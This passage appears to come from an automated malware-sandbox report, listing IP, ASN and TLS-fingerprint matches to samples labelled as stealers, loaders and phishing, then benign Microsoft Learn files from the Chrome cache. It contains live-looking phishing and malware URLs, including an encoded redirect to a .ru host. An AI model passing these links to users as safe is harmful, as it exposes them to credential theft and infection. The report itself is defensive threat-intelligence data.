s-part-0017.t-0009.t-msedge.net	https://www.bing.com/ck/a?!&&p=5ceef533778c3decJmltdHM9MTcyMzQyMDgwMCZpZ3VpZD0zNjRmNjVlOC1lNTZjLTYxOWQtMTI1Ny03MTNlZTQyYTYwMTImaW5zaWQ9NTE0MA&ptn=3&ver=2&hsh=3&fclid=364f65e8-e56c-619d-1257-713ee42a6012&u=a1aHR0cHM6Ly9sZXhpbnZhcmlhbnQuY29tLw#aHR0cHM6Ly9HMTAuZHpwdndvYnIucnUvdkd5c2dQdC8=	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	https://nam.dcv.ms/WLtyQ3priB	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	http://itrack4.valuecommerce.ne.jp/cgi-bin/2366370/entry.php?vc_url=http://serviceoctopus.com	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	1.exe	Get hash	malicious	DBatLoader, TVrat	Browse	13.107.246.45
	https://lu-trustt.com/l/security/2024	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	Ref#501032.vbe	Get hash	malicious	MassLogger RAT	Browse	13.107.246.45
	f5dc5302-022c-8bef-7a8e-e20ea821f59b.eml	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	http://52.113.191.172	Get hash	malicious	Unknown	Browse	52.113.191.172
	https://www.bing.com/ck/a?!&&p=5ceef533778c3decJmltdHM9MTcyMzQyMDgwMCZpZ3VpZD0zNjRmNjVlOC1lNTZjLTYxOWQtMTI1Ny03MTNlZTQyYTYwMTImaW5zaWQ9NTE0MA&ptn=3&ver=2&hsh=3&fclid=364f65e8-e56c-619d-1257-713ee42a6012&u=a1aHR0cHM6Ly9sZXhpbnZhcmlhbnQuY29tLw#aHR0cHM6Ly9HMTAuZHpwdndvYnIucnUvdkd5c2dQdC8=	Get hash	malicious	Unknown	Browse	52.123.129.14
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	https://nam.dcv.ms/WLtyQ3priB	Get hash	malicious	HTMLPhisher	Browse	13.107.253.70
	http://itrack4.valuecommerce.ne.jp/cgi-bin/2366370/entry.php?vc_url=http://serviceoctopus.com	Get hash	malicious	HTMLPhisher	Browse	13.107.6.156
	file.exe	Get hash	malicious	Amadey, Cryptbot, Stealc, Vidar	Browse	20.96.153.111
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	f5dc5302-022c-8bef-7a8e-e20ea821f59b.eml	Get hash	malicious	HTMLPhisher	Browse	52.109.76.243
	eek call.eml	Get hash	malicious	Unknown	Browse	13.107.246.45
CLOUDFLARENETUS	Benefit Enrollment -eGz8VNb.pdf	Get hash	malicious	Unknown	Browse	188.114.97.3
	mainbas.bat	Get hash	malicious	Unknown	Browse	104.16.230.132
	bas.bat	Get hash	malicious	Unknown	Browse	104.16.230.132
	man - Copy.bat	Get hash	malicious	Unknown	Browse	104.16.231.132
	https://nebula.homirax.ru/bZnB/#Fcgates@acc.org	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://s.id/sharedocument	Get hash	malicious	Unknown	Browse	188.114.96.3
	217469812STM.pdf	Get hash	malicious	ScreenConnect Tool, Phisher	Browse	188.114.96.3
	https://www.bing.com/ck/a?!&&p=5ceef533778c3decJmltdHM9MTcyMzQyMDgwMCZpZ3VpZD0zNjRmNjVlOC1lNTZjLTYxOWQtMTI1Ny03MTNlZTQyYTYwMTImaW5zaWQ9NTE0MA&ptn=3&ver=2&hsh=3&fclid=364f65e8-e56c-619d-1257-713ee42a6012&u=a1aHR0cHM6Ly9sZXhpbnZhcmlhbnQuY29tLw#aHR0cHM6Ly9HMTAuZHpwdndvYnIucnUvdkd5c2dQdC8=	Get hash	malicious	Unknown	Browse	172.67.211.61
	Xkl0PnD8zFPjfh1.wiz.rtf	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	https://svmr0.mjt.lu/lnk/AV8AAFaSoSIAAAAAAAAAA8n01EsAAYKIu-wAAAAAACvDuABnPFfPAMaNPXPJSsuYiTwyR3BbogAoa9Y/1/kV4e_y8Blrzf3PPyRcwmxA/aHR0cHM6Ly9nb29nbGUuY29tL2FtcC9zL25hM3NpZ24uc2JzL2xaOUJhVks4Vks4TEg2clZLOFIxNW5RMDdsWjlCYVZLOFZLOExINnJWSzhSMTVuSlgzWjlCUjE1V1BZ	Get hash	malicious	Outlook Phishing, HTMLPhisher	Browse	188.114.96.3
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	file.exe	Get hash	malicious	Amadey, Cryptbot, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	Benefit Enrollment -eGz8VNb.pdf	Get hash	malicious	Unknown	Browse	4.245.163.56 184.28.90.27 13.107.246.45
	http://52.113.191.172	Get hash	malicious	Unknown	Browse	4.245.163.56 184.28.90.27 13.107.246.45
	https://payment.relevance-pre.enzymeadvisinggroup.com	Get hash	malicious	HTMLPhisher	Browse	4.245.163.56 184.28.90.27 13.107.246.45
	mainbas.bat	Get hash	malicious	Unknown	Browse	4.245.163.56 184.28.90.27 13.107.246.45
	bas.bat	Get hash	malicious	Unknown	Browse	4.245.163.56 184.28.90.27 13.107.246.45
	man - Copy.bat	Get hash	malicious	Unknown	Browse	4.245.163.56 184.28.90.27 13.107.246.45
	https://nebula.homirax.ru/bZnB/#Fcgates@acc.org	Get hash	malicious	Unknown	Browse	4.245.163.56 184.28.90.27 13.107.246.45
	https://s.id/sharedocument	Get hash	malicious	Unknown	Browse	4.245.163.56 184.28.90.27 13.107.246.45
	217469812STM.pdf	Get hash	malicious	ScreenConnect Tool, Phisher	Browse	4.245.163.56 184.28.90.27 13.107.246.45
	https://www.bing.com/ck/a?!&&p=5ceef533778c3decJmltdHM9MTcyMzQyMDgwMCZpZ3VpZD0zNjRmNjVlOC1lNTZjLTYxOWQtMTI1Ny03MTNlZTQyYTYwMTImaW5zaWQ9NTE0MA&ptn=3&ver=2&hsh=3&fclid=364f65e8-e56c-619d-1257-713ee42a6012&u=a1aHR0cHM6Ly9sZXhpbnZhcmlhbnQuY29tLw#aHR0cHM6Ly9HMTAuZHpwdndvYnIucnUvdkd5c2dQdC8=	Get hash	malicious	Unknown	Browse	4.245.163.56 184.28.90.27 13.107.246.45
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	EIR5pTRn9R.exe	Get hash	malicious	DragonForce	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1301x300, components 3
Category:	downloaded
Size (bytes):	33370
Entropy (8bit):	7.973675198531228
Encrypted:	false
SSDEEP:	768:ykeIpO37gQNPfG0sxFrlSvg0EliJBectySxPMmPOGTeou78:ykX0DP+TFgg3iJNyyfPO9N78
MD5:	6E78EE324E008296108BFCDECD77E318
SHA1:	F7C39EE02C65BCEB2C66AD2D7F45523FEB5AD156
SHA-256:	EB7A4FF0F8ED4C8A95B2183968B5A59F4058B177F580AE2D2BEF4595B6F6E092
SHA-512:	BCFFF936BCC46AB4120690CFF3AF93491080E13084EA2BCD8BCE1A2470EA86EB007D695AEF23B73E0B84CB3C7FBF351D025BE47EC5D232AB613A420074F8A448
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-ignite-2024.jpg
Preview:	......JFIF..........................................................) .. )/'%'/9339GDG]]}............................................) .. )/'%'/9339GDG]]}......,....!..........6.....................................................................S..d+!XYd..Hb..1..IR.BA0.+!....$C...@I..bU.BH%.1K..A...%...1h.3.,..+0F!Z@....`..%!.o...._]..=......J./Uz.k..._m..}..,s.lV.ED...J...,..b.........Y....u...N..g......A.$"3!h.~`>.....d+.,.a).Rb.I...D,."...IXJ..$.A$BU...bA,.`Z.b..,c...KFf.0.B;.f..U.C ..V.X,e.,1t}.....k.:R..b.l....mt.....#..W...iY..d..#.HU$..1...GW%..d]..-.x.:.......&...o.......(h.+.)h..x.?.B....,.D$.0.R.Y.%.."B#E$.$..!..K)0.....X.X.,.1..3BHbAxX.....R.]...1..(..`..VX.2..L.s.......L....]xVU^..Q.v>.I......7I.fJ....+vJ.T0V..z.]....}.J..A...,.~?...+....]...y.\|. .H..fFh..l.?.....Yd.IHJ.V...K..F....IS.H...%..K....X.....,C...f..F..$...+..8WdV!]..,.U..p!.A..\|Vw.x_I.,$!!...i...2..7.l_...'....}.q..{..z.F........vm/.V.........9..F..dh..;..$..BT.G0O.G.......B.$RJ.Z,,.0%..

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/docons.a1ef6ef.34a85e0c.woff2
Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	downloaded
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016115705165622
Encrypted:	false
SSDEEP:	768:haAE16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTAGLlO6eAbTIr4audZqBkZRLg
MD5:	B7BA0F1B4D3EE09BD4C1DD5EE8FA2633
SHA1:	A5725E0BD2E4DE3EB07E9C468306615CD0CE6955
SHA-256:	411BCF8F95DAF3C6D0BEBDFA4DDEFD0F947D2083C1A27BDD0E5D19BB6F299838
SHA-512:	59F535B445302E8A8398F02F7729D16236C629EB0967833257F8BA391A4E93B3A23A5FA3D64127EC117B8D93A6D7A9B86EBCB4B6E6F96CFF3B4DB3EE3C5F4844
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
